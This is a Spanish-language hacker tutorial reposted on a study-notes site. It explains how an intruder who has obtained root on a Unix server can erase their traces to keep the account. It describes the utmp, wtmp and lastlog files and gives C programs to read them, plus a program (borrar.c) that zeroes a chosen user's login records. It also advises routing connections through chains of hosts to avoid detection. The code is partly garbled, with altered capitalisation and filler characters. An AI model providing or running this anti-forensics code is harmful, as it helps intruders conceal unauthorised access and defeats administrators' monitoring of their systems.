Eliminando nuestras huellas del sistema - ALIPSO.COM: Monografías, resúmenes, biografias y tesis gratis.
Sábado 25 de Enero de 2020 | Hay 1 usuario online en este momento!
 

Eliminando nuestras huellas del sistema

Imprimir Recomendar a un amigo Recordarme el recurso

Agregado: 12 de ABRIL de 2000 (Por ) | Palabras: 1594 | Votar! | Sin Votos | Sin comentarios | Agregar Comentario
Categoría: Apuntes y Monografías > Computación > Seguridad informatica >
Material educativo de Alipso relacionado con Eliminando nuestras huellas del sistema
  • Divorcio: pedido de exclusion del hogar conyugal en la liquidacion  de la soc.cony..:
  • Biografia y vida de Mmendel, Gregor : Breve Biografia de Mmendel, Gregor
  • Sobre la indole del amor masculino en Cien años de Soledad: Expone cómo viven el amor los personajes masculinos de la novela Cien años de soledad de Gabriel Garcìa Márquez

  • Enlaces externos relacionados con Eliminando nuestras huellas del sistema

    ¿

    @@@@@@@@@@@@@@@@@ ELIMINANDO NUESTRAS HUELLAS DEL SISTEMA@@@@@@@@@@@@@@@@@

    Ĵ

    @@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@Por: Guybrush@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

    Ĵ

    @@@@@@@@@@@@@@@@@@@@@@@ E-Mail: guybrush@axis.org@@@@@@@@@@@@@@@@@@@@@@@@@

    ú¿

    @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ INDICE@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

    @@@@@@@ 0-Introduccion

    @@@@@@@ 1-Que huellas dejamos cuando trabajamos en un sistema?

    @@@@@@@ 2-Por que y cuando es necesario borrar nuestras huellas?

    @@@@@@@ 3-Como borrarlas

    @@@@@@@ 4-Despedida

    ú¿

    @@@@@@@@@@@@@@@@@@@@@@@@@@@@ 0-INTRODUCCION@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

    Existen muchos documentos por ahi que explican como conseguir ser root en

    ordenadores que trabajan con Unix. Como capturar el passwd (este o no shadow),

    como utilizar los diccionarios, cuentas por defecto, bugs, etc. (Nota: que

    aun no sabes como hacer esto? a que esperas para leerte mi articulo sobre

    UNIX?. Lo puedes encontrar en varias revistas o puedes pedirmelo por correo).

    Bien, pero, que ocurre cuando por fin conseguimos la cuenta root de ese

    servidor al que hemos estado intentando entrar desde hace varios meses? Que

    podemos hacer para conservar esa cuenta el mayor tiempo posible?

    ú¿

    @@@@@@@@@@ 1-QUE HUELLAS DEJAMOS CUANDO TRABAJAMOS EN SISTEMA?@@@@@@@@@@@

    todos los sistemas basados en unix guardan informacion sobre los usuarios que

    se conectan, asi como las ordenes que ejecutan y en caso de ser un host remoto

    tambien su direccion de dominio. estos registros son llamados 'logs'.

    Pero no todos los Unix son iguales. Podemos encontrarnos con el Unix de IBM

    (AIX), el Unix del Sun (SunoS o Solaris), etc. Por lo que algunos guardan los

    datos sobre usuarios en directorios distintos a los demas.

    Los logs mas importantes son:

    @utmp

    @----

    @Guarda un log de los usuarios que estan utilizando el sistema mientras estan

    @conectados a el.

    @Lo podemos encontrar en:@ /etc/utmp

    @wtmp

    @----

    @Guarda un log cada vez que un usuario se introduce o sale del sistema.

    @Lo podemos encontrar en:@ /var/adm/wtmp

    @lastlog

    @-------

    @Guarda un log del momento exacto en que un usuario entro por ultima vez.

    @Lo podemos encontrar en:@ /var/adm/lastlog

    ú¿

    @@@@@@@ 2-POR QUE Y CUANDO ES NECESARIO BORRAR NUESTRAS HUELLAS?@@@@@@@@@

    Mientras seamos un usuario sin privilegios no podremos borrar ninguno de estos

    logs, ya que no tendremos permiso para ello. Pero esto tampoco nos debe

    importar mucho ya que un administrador no puede saber si hoy a las 17:45 horas

    ha entrado en el servidor el usuario 'pepito' o si era un hacker que ha

    conseguido su cuenta. A no ser que se lo pregunte a 'pepito' y este diga: 'oh

    no, pero si yo a esa hora estaba en el cine ...' @#$%& ... pero bueno, es poco

    probable ya que con los pocos privilegios que puede tener un simple usuario no

    podemos hacer casi nada en el sistema. Por lo que un administrador medianamen-

    te bueno, cada vez que comience una sesion revisara sus logs (los del root)

    para ver si hay algo anormal en su cuenta.

    Imaginate que por fin consigues esa deseada cuenta root y por no borrar las

    huellas, cuando vas el dia siguiente a conectarte ... 'invalid passwd' ... y

    eso en el mejor de los casos, porque si no usas 'condones' (conectarte a un

    sistema, de ahi a otro, ... y por fin al sistema victima) te pillaran ensegui-

    da.

    ú¿

    @@@@@@@@@@@@@@@@@@@@@@@@@@@ 3-COMO BORRARLAS@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

    Los ficheros 'utmp', 'wtmp' y 'lastlog', asi como los demas logs adicionales

    que puedan presentar otros sistemas, no son ficheros de texto legibles dado

    que son estruvturas de datos. Por lo que no podras verlas con un simple editor

    de texto, pero si con estos programas:

    Primer programa:

    -------------------------- cortar por aqui -----------------------------------

    /*****************************************************************************/

    /*****@@@@@@@@@@@@@@@@@@@@ editar el fichero 'utmp'@@@@@@@@@@@@@@@@@@@@@ *****/

    /*****@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@*****/

    /*****@@@@@@@@@@@@@@@@ Por Guybrush - guybrush@axis.org@@@@@@@@@@@@@@@@@ *****/

    /*****************************************************************************/

    /* programa ulog.c */

    #include <stdio.h>

    #include <utmp.h>

    #define UTMP "/etc/utmp"

    void main()

    {

    @@ struct utmp u;

    @@ FILe *fichero;

    @@

    @@ if ((fichero = fopen(UTMP,"r")) == NULL)

    @@ {

    @@@@@ fprintf(stderr," error : no encontrado el fichero '%s'\n",UTMP);

    @@@@@ exit(0);

    @@ }

    @@

    @@ while (fread(&u, sizeof(u), 1, fichero))

    @@ {

    @@@@@ printf("%d - ",u.ut_type);

    @@@@@ printf("%d - ",u.ut_pid);

    @@@@@ printf("%s - ",u.ut_line);

    @@@@@ printf("%s - ",u.ut_id);

    @@@@@ printf("%d - ",u.ut_time);

    @@@@@ printf("%s - ",u.ut_user);

    @@@@@ printf("%s - ",u.ut_host);

    @@@@@ printf("%d\n",u.ut_addr);

    @@ }

    @@ fclose(fichero);

    }

    -------------------------- cortar por aqui -----------------------------------

    Segundo programa:

    -------------------------- cortar por aqui -----------------------------------

    /*****************************************************************************/

    /*****@@@@@@@@@@@@@@@@@@@@ editar el fichero 'wtmp'@@@@@@@@@@@@@@@@@@@@@ *****/

    /*****@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@*****/

    /*****@@@@@@@@@@@@@@@@ Por Guybrush - guybrush@axis.org@@@@@@@@@@@@@@@@@ *****/

    /*****************************************************************************/

    /* programa wlog.c */

    #include <stdio.h>

    #include <utmp.h>

    #define WTMP "/usr/adm/wtmp"

    void main()

    {

    @@ struct utmp w;

    @@ FILe *fichero;

    @@

    @@ if ((fichero = fopen(WTMP,"r")) == NULL)

    @@ {

    @@@@@ fprintf(stderr," error : no encontrado el fichero '%s'\n",WTMP);

    @@@@@ exit(0);

    @@ }

    @@

    @@ while (fread(&w, sizeof(w), 1, fichero))

    @@ {

    @@@@@ printf("%d - ",w.ut_type);

    @@@@@ printf("%d - ",w.ut_pid);

    @@@@@ printf("%s - ",w.ut_line);

    @@@@@ printf("%s - ",w.ut_id);

    @@@@@ printf("%d - ",w.ut_time);

    @@@@@ printf("%s - ",w.ut_user);

    @@@@@ printf("%s - ",w.ut_host);

    @@@@@ printf("%d\n",w.ut_addr);

    @@ }

    @@ fclose(fichero);

    }

    -------------------------- cortar por aqui -----------------------------------

    Tercer programa:

    -------------------------- cortar por aqui -----------------------------------

    /*****************************************************************************/

    /*****@@@@@@@@@@@@@@@@@@@ editar el fichero 'lastlog'@@@@@@@@@@@@@@@@@@@ *****/

    /*****@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ *****/

    /*****@@ @@@@@@@@@@@@@@Por Guybrush - guybrush@axis.org@@@@@@@@@@@@@@@@@ *****/

    /*****************************************************************************/

    /* programa llog.c */

    #include <stdio.h>

    #include <lastlog.h>

    #include <pwd.h>

    #define LASTLoG "/usr/adm/lastlog"

    void main()

    {

    @@ struct lastlog l;

    @@ FILe *fichero;

    @@

    @@ if ((fichero = fopen(LASTLoG,"r")) == NULL)

    @@ {

    @@@@@ fprintf(stderr," error : no encontrado el fichero '%s'\n",LASTLoG);

    @@@@@ exit(0);

    @@ }

    @@

    @@ while (fread(&l, sizeof(l), 1, fichero))

    @@ {

    @@@@@ printf("%d - ",l.ll_time);

    @@@@@ printf("%s - ",l.ll_line);

    @@@@@ printf("%s\n",l.ll_host);

    @@ }

    @@ fclose(fichero);

    }

    -------------------------- cortar por aqui -----------------------------------

    Con estos 3 programas te daras cuenta de como quedas registrado en el sistema.

    puedes utilizarlos desde cualquier usuario aunque no seas root ya que solo

    muestran los datos y no los modifican.

    Ahora, si consigues ser root, deberas borrarlos. y para eso puedes utilizar

    este otro programa:

    -------------------------- cortar por aqui -----------------------------------

    /*****************************************************************************/

    /*****@@ Borrar las huellas de los ficheros 'utmp', 'wtmp' y 'lastlog'@@ *****/

    /*****@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ *****/

    /*****@@@@@@@@@@@@@@@@ Por Guybrush - guybrush@axis.org@@@@@@@@@@@@@@@@@ *****/

    /*****************************************************************************/

    /* programa borrar.c */

    #include <stdio.h>

    #include <sys/types.h>

    #include <fcntl.h>

    #include <utmp.h>

    #include <lastlog.h>

    #include <pwd.h>

    #define UTMP@@@@ "/etc/utmp"@@@@@@@@ /* ruta del utmp@@@ */

    #define WTMP@@@@ "/usr/adm/wtmp"@@@@ /* ruta del wtmp@@@ */

    #define LASTLoG@ "/usr/adm/lastlog"@ /* ruta del lastlog */

    /***** BoRRAR HUeLLAS De UTMP Y WTMP *****/

    void borrar1(char *usuario, char *log)

    {

    @@ struct utmp u;@@@@ /* usamos la estructura de datos 'utmp'@@@ */

    @@ int fd;

    @@ int cambio = 0;

    @@

    @@ if ((fd = open(log,o_RDoNLY)) == 0)

    @@ {

    @@@@@ fprintf(stderr,"error : no encontrado el fichero %s\n",log);

    @@@@@ exit(0);

    @@ }

    @@

    @@ close(fd);

    @@

    @@ if ((fd = open(log,o_RDWR)) == 0)

    @@ {

    @@@@ @fprintf(stderr,"error : no se puede abrir el fichero %s para escritura\n",log);

    @@@@@ exit(0);

    @@ }

    @@ lseek(fd, 0, SeeK_SeT);

    @@ while (read(fd, &u, sizeof(u)))

    @@ {

    @@@@@ if (!strncmp(u.ut_user, usuario, strlen(usuario)))

    @@@@@ {

    @@@@@@@@ bzero((char *)&u, sizeof(u));@@@@@@ /* si hay alguna referencia */

    @@@@@@@@ lseek(fd, -(sizeof(u)), SeeK_CUR);@ /* sobre el usuario elegido */

    @@@@@@@@ write(fd, &u, sizeof(u));@@@@@@@@@@ /* borra las huellas@@@@@@@ */

    @@@@@@@@ cambio = 1;

    @@@@@ }

    @@ }

    @@ close(fd);

    @@

    @@ if (cambio == 0)

    @@@@@ fprintf(stderr,"No se han encontrado huellas en '%s'\n",log);

    @@ else

    @@@@@ fprintf(stderr,"Las huellas de '%s' han sido borradas\n",log);

    @@@@@

    @@ return;

    }

    /***** BoRRAR HUeLLAS De LASTLoG *****/

    void borrar2(char *usuario, char *log)

    {

    @@ struct lastlog l;@@ /* usamos la estructura de datos 'lastlog' */

    @@ struct passwd *pwd; /* usamos la estructura de datos 'passwd'@ */

    @@ int fd;

    @@ int cambio = 0;

    @@

    @@ if ((fd = open(log,o_RDoNLY)) == 0)

    @@ {

    @@@@@ fprintf(stderr,"error : no encontrado el fichero %s\n",log);

    @@@@@ exit(0);

    @@ }

    @@

    @@ close(fd);

    @@

    @@ if ((fd = open(log,o_RDWR)) == 0)

    @@ {

    @@@@@ fprintf(stderr,"error : no se puede abrir el fichero %s para escritura\n",log);

    @@@@@ exit(0);

    @@ }

    @@ lseek(fd, 0, SeeK_SeT);

    @@ if ((pwd = getpwnam(usuario)) == NULL)

    @@ {

    @@@@@ fprintf(stderr,"error : no existe ese usuario\n");

    @@@@@ exit(0);

    @@ }

    @@ while (read(fd, &l, sizeof(l)))

    @@ {

    @@@@@ if (lseek(fd, (long)pwd->pw_uid*sizeof(l), SeeK_CUR))

    @@@@@ {

    @@@@@@@@ bzero((char *)&l, sizeof(l));@ /* si hay alguna referencia al */

    @@@@@@@@ write(fd, &l, sizeof(l));@@@@@ /* usuario elegido, borra las@ */

    @@@@@@@@ cambio = 1;@@@@@@@@@@@@@@@@@@@ /* huellas@@@@@@@@ @@@@@@@@@@@@*/

    @@@@@ }

    @@ }

    @@ close(fd);

    @@

    @@ if (cambio == 0)

    @@@@@ fprintf(stderr,"No se han encontrado huellas en '%s'\n",log);

    @@ else

    @@@@@ fprintf(stderr,"Las huellas de '%s' han sido borradas\n",log);

    @@@@@

    @@ return;

    }

    /***** FUNCIoN PRINCIPAL *****/

    void main(int argc, char *argv[])

    {

    @@ if (argc != 3)

    @@ {

    @@@@@ fprintf(stderr, "Uso : %s <usuario> <u|w|l|t>\n");

    @@@@@ fprintf(stderr,"@@@@@@@@@ u = utmp\n");

    @@@@@ fprintf(stderr,"@@@@@@@@@ w = wtmp\n");

    @@@@@ fprintf(stderr,"@@@@@@@@@ l = lastlog\n");

    @@@@@ fprintf(stderr,"@@@@@@@@@ t = todo (los tres)\n");

    @@@@@ exit(0);

    @@ }

    @@

    @@ if (argv[2][0] == 'l')

    @@@@@ borrar2(argv[1], LASTLoG);@@ /* borramos las huellas del lastlog */

    @@ if (argv[2][0] == 'u')

    @@@@ @borrar1(argv[1], UTMP);@@@@@ /* borramos las huellas del utmp@@@ */

    @@ if (argv[2][0] == 'w')

    @@@@@ borrar1(argv[1], WTMP);@@@@@ /* borramos las huellas del wtmp@@@ */

    @@ if (argv[2][0] == 't')

    @@ {

    @@@@@ borrar2(argv[1], LASTLoG);

    @@@@@ borrar1(argv[1], UTMP);

    @@@@@ borrar1(argv[1], WTMP);

    @@ }

    }

    -------------------------- cortar por aqui -----------------------------------

    espero que les saques provecho.@@ ;)

    Sacado de http://raregazz.islatortuga.com


    Comentarios de los usuarios


    Agregar un comentario:


    Nombre y apellido:

    E-Mail:

    Asunto:

    Opinión:



    Aún no hay comentarios para este recurso.
     
    Sobre ALIPSO.COM

    Monografias, Exámenes, Universidades, Terciarios, Carreras, Cursos, Donde Estudiar, Que Estudiar y más: Desde 1999 brindamos a los estudiantes y docentes un lugar para publicar contenido educativo y nutrirse del conocimiento.

    Contacto »
    Contacto

    Teléfono: +54 (011) 3535-7242
    Email:

    Formulario de Contacto Online »